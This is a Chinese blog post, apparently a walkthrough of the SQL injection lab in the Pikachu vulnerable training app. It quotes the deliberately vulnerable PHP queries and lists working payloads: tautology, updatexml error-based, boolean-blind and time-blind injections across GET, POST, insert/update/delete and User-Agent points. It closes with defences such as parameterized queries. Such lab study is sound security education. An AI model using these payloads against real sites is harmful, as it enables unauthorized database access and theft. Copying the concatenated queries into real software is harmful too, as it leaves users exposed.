前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【Pikachu】SQL Inject(SQL注入)

【Pikachu】SQL Inject(SQL注入)

作者头像
菜菜有点菜
发布2022-03-17 17:26:34
1.9K0
发布2022-03-17 17:26:34
举报
文章被收录于专栏:白菜博客白菜博客

SQL注入概念

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以 通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

SQL注入攻击流程

第一步:注入点探测 自动方式:使用web漏洞3描工具,自动进行注入点发现 手动方式:手工构造sql inject测试语句进行注入点发现

第二步:信息获取 通过注入点取期望得到的数据。 1.环境信息:数据库类型,数据库版本操作系统版本,用户信息等。 2.数据库信息:数据库名称数据库表,表字段,字段内容(加密内容破解)

第三步:获取权限 获取操作系统权限:通过数据库执行shell,上传木马

常见注入点类型

代码语言:javascript
复制
数字型
user_ id=$id
字符型
user id= '$id'
搜索型
text LIKE '%{$_ GET['search'}%'"

漏洞复现&&利用方法

数字型注入(POST)

POST无法在URL做手脚,那么就直接上BURP抓包,数据包如下:

提交中的POST请求传递id=1,初步判断可能存在SQL注入;

构造语句 id=1 or 1=1通过返回包发现服务端并没有进行任何过滤处理。

猜想:首先通过 id=_POST['id']获取传入数值

select字段1,字段2 from表名where id= 1 or 1=1; 拼接字符数据库查询.

代码分析

代码语言:javascript
复制
if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点

字符型注入(GET)

猜测后台程序结构:

str=_GET[‘str’];

select 字段1,字段2 from 表名 where 表名=’$str’

构造payload:cc' or 1=1 #,拼进SQL语句中变成:select 字段1,字段2 from 表名 where 表名=’cc' or 1=1 #’

代码分析:

代码语言:javascript
复制
//这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";

搜索型注入

代码语言:javascript
复制
猜测后台程序结构:

$str=$_GET[‘str’];

select  字段1,字段2  from  表名  where  表名 like  ’%$str%’

构造payload:cc%' or 1=1 #,拼进SQL语句中变成:select  字段1,字段2 from  表名  where  表名=’ xx%' or1=1 #’

代码分析:

代码语言:javascript
复制
//这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";

XXX型注入

代码分析

代码语言:javascript
复制
if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username=('$name')";

通过观察,构造Payload进行闭合尝试:cc') or 1=1 #

insert/update注入

insert注入

  1. 点击注册在注册处用burp进行抓包,发送到Repeater模块。

利用concat执行sql注入语句

使用updatexml报错信息将sql语句执行结果返回

代码语言:javascript
复制
   payload: 'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

update注入

使用普通账号登录 点击修改信息在修改信息处Payload使用BurpSuite进行抓包(修改信息建议不要有空)

Payload:

'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

代码语言:javascript
复制
<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813094211.png"/>

## delete删除注入

1. 先进行随意留言 在删除留言时使用BurpSuite进行抓包,发送Repeater模块
2. ```Payload
payload: 68 or updatexml (1,concat(0x7e,datebase()),0)

且在BurpSuite中Ctrl+U 对payload进行url编码

"http header"注入

使用admin/123456登陆以后刷新用BurpSuite抓包

在user-agent后加入payload

代码语言:javascript
复制
   payload: 1' or updatexml (1,concat(0x7e,datebase()),0) or '

布尔盲注(base on boolian)

payload:kobe' and 1=1 #

代码语言:javascript
复制
<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813101236.png"/>

## 时间盲注(base on time)

payload: kobe' and sleep(10)#

代码语言:javascript
复制
<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813101235.png"/>

---


现在我们从**测试者的角度**,对网站进行SQL注入**测试**

比如搜索处提示:what's your username?

通过提示信息判断输入得数据类型是字符串。字符串闭合两种方式——>>单引号或双引号

**关键点:** 查看网页回显信息(**报错信息**)来判断我们的输入是否参与到了SQL语句里面去执行。

如果有,那么就意味着我们的输入拼接到了数据库SQL语句中去执行。

### MySQL注释服务器支持的三种类型

--从 `'#'` 字符从行尾。
--从 `'--'`序列到行尾。请注意'--' (双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、 换行符等等)。
该语法与标准SQL注释语法稍有不同.
--从 `/*`序列到后面的 `*/`序列。结束序列不一定在同一 行中,因此该语法允许注释跨越多行。

**注释风格**

**GET && POST注入的区别**

Get方式中使用URL提交注入数据;
Post方式中使用抓包工具修改post数据部分提交注入;

不管是get方式还是post方式,都可能会出现SQL注入漏洞,本质其实是一样的!

涉及到知识盲区

痴呆

啊吧啊吧

## 防范措施:

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020 年 08 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SQL注入概念
  • SQL注入攻击流程
  • 漏洞复现&&利用方法
    • 数字型注入(POST)
      • 代码分析
        • 字符型注入(GET)
          • 搜索型注入
            • XXX型注入
            • insert/update注入
              • insert注入
                • update注入
                • "http header"注入
                • 布尔盲注(base on boolian)
                相关产品与服务
                数据库
                云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档